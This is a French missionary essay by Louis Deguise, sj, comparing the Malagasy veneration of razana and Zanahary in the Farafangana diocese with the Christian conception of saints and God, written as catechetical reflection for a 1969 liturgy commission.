« RAZANA et ZANAHARY » des Malgaches – « SAINTS et DIEU » des Chrétiens

Le Père Louis DEGUISE, missionnaire sj, après avoir présenté une étude sur la conception et le culte des razana dans le diocèse de Farafangàna, lors de la réunion semestrielle de la Commission archidiocésaine de Liturgie et de Musique sacrée de Fianarantsoa en Janvier 1969, a formulé une conclusion pratique: un genre d’étude comparative entre la conception chrétienne des ancêtres et celle des tribùs de Farafangàna, en vue de poser quelques jalons à la réflexion chrétienne, qui est appelée à fournir un gros effort en ce domaine des croyances et coutumes ancestrales. Pour le texte intégral, les inscrits peuvent consulter http://ucm-recherche-ecim.org/download/theologie/Conception-et-culte-des-Razana-dans-le-diocese-de-Farafangana.pdf

1. Nous relevons d’abord une ambiguïté de langage :

– Pour les Gentils, tout défunt « tsara andry faty« , ayant reçu les honneurs funèbres, est « lasa olomasina« , – devenu lui-même olomasina, les rizières qu’il laisse en héritage aux siens sont « tany masina » et on doit les traiter en tout respect, par ex., y déposer des ordures entraînerait une punition de la part du clan, etc…

– Pour les chrétiens, tout baptisé, mort en état de grâce est olomasina,- mais aussi le Gentil qui a pratiqué la religion naturelle. D’où confusions sur le même terme « olomasina« , dont le contenu est différent : sainteté, éthique pour les chrétiens,- tandis qu’il a le sens de « manana hasina« , avoir une vertu, un pouvoir, pour les Gentils : « olomanankasina » serait plus précis chez eux.

2. Des deux cités, gentil et chrétien, il y a culte des morts, auquel on consacre, en vertu d’un devoir sacré, temps et argent : chez les Gentils, c’est d’abord l’andry faty pour introduire les défunts au séjour des Ancêtres,- à partir de ce moment, ces défunts devenus Razana recevront encore des marques d’honneur, mais dans l’esprit intéressé de se concilier leurs faveurs, écarter un malheur,- ils seront pratiquement le centre des activités cultuelles, sous le regard d’un Zanahary lointain.

Chez les chrétiens, la liturgie de l’enterrement, les messes célébrées pour un défunt aident celui-ci à passer du purgatoire au Paradis,- il recevra – encore, lui aussi, des marques d’honneur,- on fera appel à son intercession ; mais son rôle se limitera à celui d’intercesseur des vivants auprès de Dieu. Le culte des morts est donc un deuxième terrain d’ambiguïté pour Gentils et chrétiens.

3. Une troisième source d’ambiguïté vient de l’extension différente que revêt le terme razana, et qui affecte son concept même. Les chrétiens prennent les « saints » dans leur universalité, au sein de laquelle il est toujours loisible d’honorer ou d’invoquer l’un ou 1 autre saint. Les Gentils, au contraire, ne conçoivent jamais les Razana dans l’universalité, mais toujours limités « un clan ». L’expression nos Ancêtres chrétiens sonna étrangement aux oreilles d’un Gentil, pour qui l’ancêtre s’inscrit dans le cercle d’un clan, d’une tribu au plus, mais n’est pas « Ancêtre » pour des individus de tribus, voire de nationalités différentes. Le terme « ancêtre » a pour le Gentil un sens tellement concret que l’expression « Ancêtres chrétiens » a pour lui quelque chose de factice. L’expression « ny Razanay malagasy » elle-même n’est comprise de lui que comme désignant l’ensemble des divers ancêtres dont les tribus malgaches tirent leur origine. Ce n’est que par l’éducation et la prise de conscience de l’unité nationale que les Gentils de Farafangana arriveront à réaliser pleinement l’expression « ny Razanay malagasy« . Il en va de même pour l’expression « ny Razanay kristianina« : son acceptation par le néophyte suppose chez lui un approfondissement du christianisme et une prise de conscience de son appartenance à une seule Eglise Corps du Christ. Au stade actuel, on peut se demander dans quelle mesure les termes « les saints » et les « Razana » se recouvrent.

L’ambiguïté, en tous cas, est grande. Si bien que l’institution d’une « fête chrétienne des Razana » par exemple, le 2 novembre ou à une autre occasion, n’irait pas sans poser de problèmes, et d’abord de fond.

Plus graves que les points d’ambiguïté sont ceux qui révèlent une différence radicale de conception. Pour les Gentils, les Razana, on l’a exposé plus haut, détiennent des pouvoirs propres qu’ils exercent indépendamment du Zanahary,- ce qui est reflété dans les expressions courantes « ho tahin’Andriamanitra sy ny Razana« , « nambinin’ Andriamanitra sy ny Razana« , etc… Ce « tandem » ZanaharyRazana, même s’il est entendu qu’il n’exprime pas une égalité ontologique, est suspect aux chrétiens, pour qui les saints au ciel et les âmes du purgatoire ne sont que des intercesseurs des vivants auprès de Dieu,- les saints ne sont même pas de véritables « médiateurs » entre les hommes et Dieu, seul le Christ est le vrai Médiateur « Mpanalalana« , entre l’humanité et son Père. Alors que le Chrétien n’adresse sa demande qu’à Dieu, par l’intermédiaire du Christ, s’aidant, s’il le désire, de l’intercession des saints, c’est aux Razana que le Gentil adresse directement sa demande et aussi ses remerciements, ne donnant au Zanahary qu’une place honorifique.

Or les Razana sont connus comme gardant dans l’au-delà les dispositions psychologiques, bénéfiques ou maléfiques, qu’ils avaient de leur vivant – chez les saints, c’est la psychologie des rachetés, libérés de leurs mauvais sentiments, les bons atteignant à leur plénitude. Il y a plus : pour le Gentil, tous les défunts sans exception, bons ou mauvais, du fait de l’andry faty, c’est-à-dire d’un fait extérieur à leurs dispositions, deviennent Razana, – bons et mauvais possèdent un même hasina et les mêmes pouvoirs – alors que seul le chrétien mort en état de grâce, c’est-à-dire en vertu d’une disposition intérieure, est compté au nombre des saints, et peut intercéder pour les vivants,- le damné ne peut plus rien. – Si bien que chez les Gentils toute « l’activité cultuelle » s’exerce sous le regard du Zanahary certes, mais entre vivants et Razana, entre « créés », ne sort pas du plan naturel,- elle s’exerce, dans un domaine tout humain, et selon une mentalité tout humaine. Et c’est normal pour les Gentils, puisqu’ils ignorent encore le Médiateur Jésus-Christ, « qui fait pont », Pontifex, entre Dieu et les hommes. Mais ce n’est pas normal, c’est le moins qu’on puisse dire, pour les chrétiens, que leur religion « relie » à Dieu, fait, sortir du plan du pur créé, du plan purement naturel, et introduit dans l’ordre surnaturel.

C’est sur ce terrain du culte des Razana que la mentalité et les pratiques cultuelles non chrétiennes risquent de persister chez les néophytes, ont tendance à reparaître et à déteindre chez les « vieux » chrétiens, introduisant, outre un danger de syncrétisme, un gauchissement certain dans le christianisme de bien des chrétiens. Précisons, touchant cette mentalité, que les Gentils voient leurs ancêtres comme présents encore dans leur mouvance, mouvance matérielle, physique, quoiqu’invisible, et vont jusqu’à leur réserver une part de nourriture. Le chrétien peut se sentir encore dans la mouvance de ses défunts, mais une mouvance spirituelle.

Ces différences, parfois radicales, de conception des Razana, et qui demandent au catéchumène une véritable « conversion », procèdent en définitive de la conception que Gentils et chrétiens ont de Dieu même. Pour les Gentils, Dieu est seulement le Créateur, Zanahary : à ce titre, il est lointain, dans sa Majesté, on le craint, la tendance et le réflexe sont de se tenir respectueusement éloigné de Lui. Il a donné la vie,- mais c’est Lui aussi qui va donner la mort; c’est pourquoi on le craint et on ne l’aime pas. On se réfugie auprès des Ancêtres, plus proches, à tous égards, des mortels. Pour le chrétien, au contraire, Dieu est vie et Amour. Il est d’abord Père, avant même d’être Créateur : « Je crois en Dieu le Père… Créateur du ciel et de la terre ». Certes, il est seul à détenir tous les pouvoirs, à l’exclusion des Ancêtres, mais parce qu’il est Amour et qu’il est Père, le chrétien l’approche avec confiance,- il l’aime, et c’est même là son premier mouvement, le premier « devoir ».

Pour qu’un Gentil puisse arriver à aimer Dieu, donc à la foi chrétienne, il faut qu’il se fasse de lui une autre idée que celle qu’il en a comme Gentil : Dieu n’est pas seulement Zanahary, mais d’abord Père. Tout est changé pour un homme, lorsqu’il a compris que Dieu est Père : c’est là le point précis de la « conversion », c’est-à-dire du « retournement » de la « gentilité » à la « christianité » – puisque c’est là que réside la différence fondamentale entre la conception chrétienne et non chrétienne de Dieu. De lui-même alors le gentil corrige sa vision des Razana, qui prennent tout naturellement à ses yeux leur rang normal dans l’échelle des créatures et le chœur de la Création.

Louis DEGUISE, sj.

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